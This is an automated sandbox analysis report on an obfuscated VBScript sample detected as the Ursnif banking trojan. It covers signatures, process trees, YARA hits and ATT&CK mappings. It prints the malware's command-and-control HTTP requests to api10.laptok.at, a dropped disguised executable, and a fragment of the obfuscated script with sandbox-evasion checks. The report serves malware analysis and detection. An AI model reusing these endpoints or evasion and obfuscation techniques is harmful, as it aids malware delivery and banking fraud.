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Analysis Report PAOQfRfS84b9.vbs

Overview

General Information

Sample Name:PAOQfRfS84b9.vbs
Analysis ID:284360
MD5:177109a1b199821bb5e7e75dab4a4816
SHA1:a7eebb7ea90b735636068a6496f4d831cd9d05ae
SHA256:7e217649f374af5e3c7dd00c6c41396275c02a40ba6ba1b80732c98d3a68046b

Most interesting Screenshot:

Detection

Ursnif
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for dropped file
Benign windows process drops PE files
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
VBScript performs obfuscated calls to suspicious functions
Yara detected Ursnif
Creates processes via WMI
Deletes itself after installation
Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)
WScript reads language and country specific registry keys (likely country aware script)
Contains capabilities to detect virtual machines
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found dropped PE file which has not been started or loaded
Internet Provider seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device

Classification

Startup

  • System is w10x64
  • wscript.exe (PID: 7008 cmdline: C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\PAOQfRfS84b9.vbs' MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)
  • iexplore.exe (PID: 204 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)
    • iexplore.exe (PID: 2884 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:204 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)
  • iexplore.exe (PID: 6536 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)
    • iexplore.exe (PID: 4636 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6536 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000003.00000003.307537456.0000000005518000.00000004.00000040.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
    00000003.00000003.307606036.0000000005518000.00000004.00000040.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
      00000003.00000003.307501998.0000000005518000.00000004.00000040.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
        00000003.00000003.307560165.0000000005518000.00000004.00000040.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
          00000003.00000003.307618611.0000000005518000.00000004.00000040.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
            Click to see the 4 entries

            Sigma Overview

            No Sigma rule has matched

            Signature Overview

            Click to jump to signature section

            Show All Signature Results

            AV Detection:

            barindex
            Antivirus detection for dropped fileShow sources
            Source: C:\Users\user\AppData\Local\Temp\Wendy.epsAvira: detection malicious, Label: TR/AD.UrsnifDropper.heseo
            Multi AV Scanner detection for domain / URLShow sources
            Source: api10.laptok.atVirustotal: Detection: 8%Perma Link
            Multi AV Scanner detection for dropped fileShow sources
            Source: C:\Users\user\AppData\Local\Temp\Wendy.epsVirustotal: Detection: 26%Perma Link
            Multi AV Scanner detection for submitted fileShow sources
            Source: PAOQfRfS84b9.vbsVirustotal: Detection: 19%Perma Link
            Source: PAOQfRfS84b9.vbsReversingLabs: Detection: 12%
            Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\Documents\desktop.iniJump to behavior
            Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\userJump to behavior
            Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\AppData\Local\TempJump to behavior
            Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\AppDataJump to behavior
            Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\AppData\LocalJump to behavior
            Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\Desktop\desktop.iniJump to behavior
            Source: Joe Sandbox ViewASN Name: SELECTELRU SELECTELRU
            Source: global trafficHTTP traffic detected: GET /api1/OumBaPZKfInghlg_2Br/mFsxuKp3s3NNWaLUDhk8YA/KpkmraYO2aFaf/fPJHJI_2/Fwp9CcvorErKz6aNTUDvEyd/BfGfW7SFwT/KC205rtjQM5_2F68q/uei4wqQHzHVW/xQqbVDQvu6c/Tt0oskESridvOX/_2Ff4yqYtCk_2FWT8SIsB/EGdaEGLnWl5Wqi5u/MXX1jjEGaesUYXK/9OIJJWniFKjEqwLupZ/RuBqEDSQH/yokY1npmDw_2BSid5JlP/b9WPzMZHclpFTUs4_0A/_0DcWzNQ3VAN7f1D8_2BzD/l2sSBcwzLhSvE/feF7ADto/cDAdMLjkgUmP2BS60wM45v4/wGjftkL HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: api10.laptok.atConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /api1/b_2FLVqOW/GSRUxXgKlH4OU4zFarOd/lkn_2FuHZZdr5ibMm9p/qgZvEP9460Pnulgx6suG5Z/yYLA04nBbIKcr/DLZGjvHm/MpVO_2FOQ0Gm2VSbPx3Ok_2/BCythuWh5J/nxkS67Iv3WXdOYGnG/uKqHburmeFi1/iRCiw3Z7a2P/TunySZOD6tz7Rl/B4nLv0KhGFsSIBhWgirn6/gcXHn_2F93Z5v6me/_2B3DR2oBoujxDJ/r_2FA_2F5ecoDdqLv3/uoU_2BSKW/VdYttGubjLoKS_0A_0DG/Hkt5hkOt5Imrq13fanB/HdNPAggOAAi364hTa2K_2B/_2FXfwPwKs_2F/4og_2B2Rege_2/FD4DZlWb1/m HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: api10.laptok.atConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /api1/uW6J_2FV77lU4AnXvx4/Mw_2Fn_2FCUfh5uGYVKj0H/RbHyUv2J242fq/vsZnUYhP/H6bGW3KLuvPZ_2BdBLhFlNc/lFH9c0te_2/FCCWS4BD697mUGerB/yKZs8obpWFm_/2B4Hjhc7KWl/1bSX0vIP2cggn0/LOHex9ZhQ8hKtJC4awwix/BTr0AnZb9_2BsBfI/_2B5JbpVp0DMocL/VzbGQAEEA3TSM9CcuM/qIUPwiNDS/Xr54W73ZujtMk_2B46wk/rxRkS60SCSNsTrQduT6/gWM_0A_0DG1IUze708Mvyv/Bwn5dzxc8TIUE/KxnRzSH_/2FMhY9vxcFx0NaBMptqXjV1/Hogrt8q7n/YO6N HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: api10.laptok.atConnection: Keep-Alive
            Source: msapplication.xml1.18.drString found in binary or memory: <browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x7a4568e8,0x01d6885d</date><accdate>0x7a4568e8,0x01d6885d</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig> equals www.facebook.com (Facebook)
            Source: msapplication.xml1.18.drString found in binary or memory: <browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x7a4568e8,0x01d6885d</date><accdate>0x7a4568e8,0x01d6885d</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Facebook.url"/></tile></msapplication></browserconfig> equals www.facebook.com (Facebook)
            Source: msapplication.xml6.18.drString found in binary or memory: <browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x7a4a2dce,0x01d6885d</date><accdate>0x7a4a2dce,0x01d6885d</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig> equals www.twitter.com (Twitter)
            Source: msapplication.xml6.18.drString found in binary or memory: <browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x7a4a2dce,0x01d6885d</date><accdate>0x7a4a2dce,0x01d6885d</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Twitter.url"/></tile></msapplication></browserconfig> equals www.twitter.com (Twitter)
            Source: msapplication.xml8.18.drString found in binary or memory: <browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x7a4c8fda,0x01d6885d</date><accdate>0x7a4c8fda,0x01d6885d</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig> equals www.youtube.com (Youtube)
            Source: msapplication.xml8.18.drString found in binary or memory: <browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x7a4c8fda,0x01d6885d</date><accdate>0x7a4c8fda,0x01d6885d</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Youtube.url"/></tile></msapplication></browserconfig> equals www.youtube.com (Youtube)
            Source: unknownDNS traffic detected: queries for: api10.laptok.at
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 11 Sep 2020 08:03:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30
            Source: msapplication.xml.18.drString found in binary or memory: http://www.amazon.com/
            Source: msapplication.xml2.18.drString found in binary or memory: http://www.google.com/
            Source: msapplication.xml3.18.drString found in binary or memory: http://www.live.com/
            Source: msapplication.xml4.18.drString found in binary or memory: http://www.nytimes.com/
            Source: msapplication.xml5.18.drString found in binary or memory: http://www.reddit.com/
            Source: msapplication.xml6.18.drString found in binary or memory: http://www.twitter.com/
            Source: msapplication.xml7.18.drString found in binary or memory: http://www.wikipedia.com/
            Source: msapplication.xml8.18.drString found in binary or memory: http://www.youtube.com/

            Key, Mouse, Clipboard, Microphone and Screen Capturing:

            barindex
            Yara detected UrsnifShow sources
            Source: Yara matchFile source: 00000003.00000003.307537456.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307606036.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307501998.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307560165.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307618611.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307587751.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307439646.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307381569.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.449426166.0000000005518000.00000004.00000040.sdmp, type: MEMORY

            E-Banking Fraud:

            barindex
            Yara detected UrsnifShow sources
            Source: Yara matchFile source: 00000003.00000003.307537456.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307606036.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307501998.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307560165.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307618611.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307587751.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307439646.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307381569.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.449426166.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: PAOQfRfS84b9.vbsInitial sample: Strings found which are bigger than 50
            Source: classification engineClassification label: mal100.troj.evad.winVBS@7/35@3/1
            Source: C:\Program Files\internet explorer\iexplore.exeFile created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\HighJump to behavior
            Source: C:\Windows\System32\wscript.exeFile created: C:\Users\user\AppData\Local\Temp\adobe.urlJump to behavior
            Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\PAOQfRfS84b9.vbs'
            Source: C:\Windows\System32\wscript.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
            Source: C:\Windows\System32\wscript.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
            Source: C:\Windows\System32\wscript.exeFile read: C:\Users\desktop.iniJump to behavior
            Source: C:\Windows\System32\wscript.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: PAOQfRfS84b9.vbsVirustotal: Detection: 19%
            Source: PAOQfRfS84b9.vbsReversingLabs: Detection: 12%
            Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\PAOQfRfS84b9.vbs'
            Source: unknownProcess created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
            Source: unknownProcess created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:204 CREDAT:17410 /prefetch:2
            Source: unknownProcess created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
            Source: unknownProcess created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6536 CREDAT:17410 /prefetch:2
            Source: C:\Program Files\internet explorer\iexplore.exeProcess created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:204 CREDAT:17410 /prefetch:2Jump to behavior
            Source: C:\Program Files\internet explorer\iexplore.exeProcess created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6536 CREDAT:17410 /prefetch:2Jump to behavior
            Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32Jump to behavior
            Source: Window RecorderWindow detected: More than 3 window changes detected
            Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\LyncJump to behavior
            Source: PAOQfRfS84b9.vbsStatic file information: File size 1125162 > 1048576
            Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeFile opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dllJump to behavior
            Source: Binary string: d:\Board\65\Metal\Ask\remember\Move\ocean\strong\watch\Him\20\Gas\53\93\Question\Little.pdb source: wscript.exe, 00000000.00000003.202439164.000002756A1F3000.00000004.00000001.sdmp, Wendy.eps.0.dr

            Data Obfuscation:

            barindex
            VBScript performs obfuscated calls to suspicious functionsShow sources
            Source: C:\Windows\System32\wscript.exeAnti Malware Scan Interface: WScript.ScriptName, cStr(420144120)) > 0 And Pretoria416 = 0) ThenExit Function' obsessive bacilli gravy165 brim canon Stratford intercom industrious, Kafkaesque crappie elk hobble. already921 Romulus320 terrible thirdhand. 4201404 firecracker461 gel pianist fever boric Knoxville veterinarian961 restorative exorcise266 housewives incoherent leonine meditate apposite transplantation Skippy Istanbul217 grammar carry bongo796 cheesy, Yaqui correspond FL Runyon, tune honesty707 hallmark sovereign Gatlinburg crosspoint. bullhead indigenous suntanned iodine fleabane341. 8042966 pleasant churchgoer adverb Ms caching, Walden. cerebellum Picasso. whistleable filbert weak roll third. 7338508 percussive powder Chattanooga afterbirth. 271072 Christensen Canadian hierarchal812 Michel cheery prosecute taxicab loan. skyway simplify Briggs confiscatory aforethought lapse575 Englishmen angelfish indignant Ghanian Goleta702 edge siliceous salesmen mallet decry worsen behold debunk cantilever End IftYrNHkNF = ((4970 - 4912.0) + (-(50 + (180 - 175.0))))REM Glasgow688 thyratron21 lifeblood24 confession floodgate Bosch assassin glassware EEOC condition. Confucius pillage carriage Elizabeth550 party pulley wool exorbitant Penelope glisten inter634 Schafer gestural loom frolicking Cummings strove Hiawatha clement countersunk corrector surcharge Fayette945, wrest Janice, 3069978 Topsy romp hem abstain mammal Paula writeup tYrNHkNF_download = ((3407 - 3313.0) + (-((599 - 512.0) + 4.0)))REM Jamestown. usual Levis1 Boucher splotchy82. 2394111 rollback kitty idiomatic fortunate headphone onerous sinew vacant uterine dogmatism wrest649 sheer barony630, opacity decouple861 Newport cheat ate pond tappa quench, partisan Theodore obituary fiasco457 figure12 chant village collimate peltry384 onerous697. Kendall incredible perceive heuristic galactose815 quadrupole contractual border pyridoxine capo cordon gavel typo portal camaraderie landhold551 nymphomania could Tuttle Salina en203 Monroe Standish underling angelfish394 blow upstart astrophysics dutchess Puccini. Derbyshire piggish cerebrate, 481103 sulfate335, acetic. indigestible pal cobble uproar Draconian splutter nameable off byte803, 2140726 salty humanitarian post Uganda Rangoon gasoline549 mundane833 sheer370 sharp engine passband Juan cyanate Lubell818 catastrophic fumarole. 279542 bracelet Dreyfuss skyscrape307 decode51 snail284 If CreateObject("Scripting.FileSystemObject").GetFolder(intemperate).Files.Count < tYrNHkNF ThenREM pane whomever. recovery mode asperity earthy grout neuropsychiatric shove Gouda compassionate sacrosanct Rankine. turmeric, 9107841 hold605 Macassar gar steeple demonstrate facade mobster Egyptian pooch Ulan re victual prohibit classmate, 7384359 declaratory execrable aesthete Halstead Indochina compunction exponential alpaca flair strode stethoscope alphanumeric delusion aloud ire oval rather wholehearted optoacoustic apostolic rancid comply Runnymede escapee kudo marquee esophagi bam
            Source: initial sampleStatic PE information: section name: .text entropy: 6.84144619867

            Persistence and Installation Behavior:

            barindex
            Creates processes via WMIShow sources
            Source: C:\Windows\System32\wscript.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
            Source: C:\Windows\System32\wscript.exeFile created: C:\Users\user\AppData\Local\Temp\Wendy.epsJump to dropped file
            Source: C:\Windows\System32\wscript.exeFile created: C:\Users\user\AppData\Local\Temp\Wendy.epsJump to dropped file

            Hooking and other Techniques for Hiding and Protection:

            barindex
            Yara detected UrsnifShow sources
            Source: Yara matchFile source: 00000003.00000003.307537456.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307606036.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307501998.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307560165.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307618611.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307587751.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307439646.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307381569.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.449426166.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Deletes itself after installationShow sources
            Source: C:\Windows\System32\wscript.exeFile deleted: c:\users\user\desktop\paoqfrfs84b9.vbsJump to behavior
            Source: C:\Windows\System32\wscript.exeRegistry key monitored for changes: HKEY_CURRENT_USER_ClassesJump to behavior
            Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

            Malware Analysis System Evasion:

            barindex
            Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)Show sources
            Source: C:\Windows\System32\wscript.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_LogicalDisk
            WScript reads language and country specific registry keys (likely country aware script)Show sources
            Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_CURRENT_USER\Control Panel\International\Geo NationJump to behavior
            Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_CURRENT_USER\Control Panel\International\Geo NationJump to behavior
            Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_CURRENT_USER\Control Panel\International\Geo NationJump to behavior
            Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_CURRENT_USER\Control Panel\International\Geo NationJump to behavior
            Source: C:\Windows\System32\wscript.exeFile opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Jump to behavior
            Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
            Source: C:\Windows\System32\wscript.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Wendy.epsJump to dropped file
            Source: C:\Windows\System32\wscript.exe TID: 7164Thread sleep time: -30000s >= -30000sJump to behavior
            Source: C:\Windows\System32\wscript.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
            Source: C:\Windows\System32\wscript.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
            Source: C:\Windows\System32\wscript.exeFile Volume queried: C:\Users\user\AppData\Local FullSizeInformationJump to behavior
            Source: C:\Windows\System32\wscript.exeFile Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformationJump to behavior
            Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\Documents\desktop.iniJump to behavior
            Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\userJump to behavior
            Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\AppData\Local\TempJump to behavior
            Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\AppDataJump to behavior
            Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\AppData\LocalJump to behavior
            Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\Desktop\desktop.iniJump to behavior
            Source: wscript.exe, 00000000.00000002.223938967.000002756D130000.00000002.00000001.sdmpBinary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
            Source: wscript.exe, 00000000.00000002.223938967.000002756D130000.00000002.00000001.sdmpBinary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
            Source: wscript.exe, 00000000.00000002.223938967.000002756D130000.00000002.00000001.sdmpBinary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
            Source: wscript.exe, 00000000.00000002.223938967.000002756D130000.00000002.00000001.sdmpBinary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

            HIPS / PFW / Operating System Protection Evasion:

            barindex
            Benign windows process drops PE filesShow sources
            Source: C:\Windows\System32\wscript.exeFile created: Wendy.eps.0.drJump to dropped file
            Source: C:\Windows\System32\wscript.exeQueries volume information: C:\Users\user\AppData\Local\Temp\alloy.zip VolumeInformationJump to behavior
            Source: C:\Windows\System32\wscript.exeQueries volume information: C:\Users\user\AppData\Local\Temp\alloy.zip VolumeInformationJump to behavior
            Source: C:\Windows\System32\wscript.exeQueries volume information: C:\Users\user\AppData\Local\Temp\alloy.zip VolumeInformationJump to behavior
            Source: C:\Windows\System32\wscript.exeQueries volume information: C:\Users\user\AppData\Local\Temp\alloy.zip VolumeInformationJump to behavior
            Source: C:\Windows\System32\wscript.exeQueries volume information: C:\Users\user\AppData\Local\Temp\alloy.zip VolumeInformationJump to behavior
            Source: C:\Windows\System32\wscript.exeQueries volume information: C:\Users\user\AppData\Local\Temp\alloy.zip VolumeInformationJump to behavior
            Source: C:\Windows\System32\wscript.exeQueries volume information: C:\Users\user\AppData\Local\Temp\alloy.zip VolumeInformationJump to behavior
            Source: C:\Windows\System32\wscript.exeQueries volume information: C:\Users\user\AppData\Local\Temp\alloy.zip VolumeInformationJump to behavior
            Source: C:\Windows\System32\wscript.exeQueries volume information: C:\Users\user\AppData\Local\Temp\alloy.zip VolumeInformationJump to behavior
            Source: C:\Windows\System32\wscript.exeQueries volume information: C:\Users\user\AppData\Local\Temp\alloy.zip VolumeInformationJump to behavior
            Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

            Stealing of Sensitive Information:

            barindex
            Yara detected UrsnifShow sources
            Source: Yara matchFile source: 00000003.00000003.307537456.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307606036.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307501998.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307560165.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307618611.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307587751.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307439646.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307381569.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.449426166.0000000005518000.00000004.00000040.sdmp, type: MEMORY

            Remote Access Functionality:

            barindex
            Yara detected UrsnifShow sources
            Source: Yara matchFile source: 00000003.00000003.307537456.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307606036.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307501998.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307560165.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307618611.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307587751.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307439646.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.307381569.0000000005518000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.449426166.0000000005518000.00000004.00000040.sdmp, type: MEMORY

            Mitre Att&ck Matrix

            Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
            Valid AccountsWindows Management Instrumentation221Path InterceptionProcess Injection1Masquerading11OS Credential DumpingQuery Registry1Remote ServicesData from Local SystemExfiltration Over Other Network MediumIngress Tool Transfer3Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
            Default AccountsScripting121Boot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsVirtualization/Sandbox Evasion4LSASS MemorySecurity Software Discovery231Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothNon-Application Layer Protocol3Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
            Domain AccountsExploitation for Client Execution1Logon Script (Windows)Logon Script (Windows)Process Injection1Security Account ManagerVirtualization/Sandbox Evasion4SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationApplication Layer Protocol3Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
            Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Scripting121NTDSFile and Directory Discovery2Distributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
            Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptObfuscated Files or Information2LSA SecretsSystem Information Discovery125SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
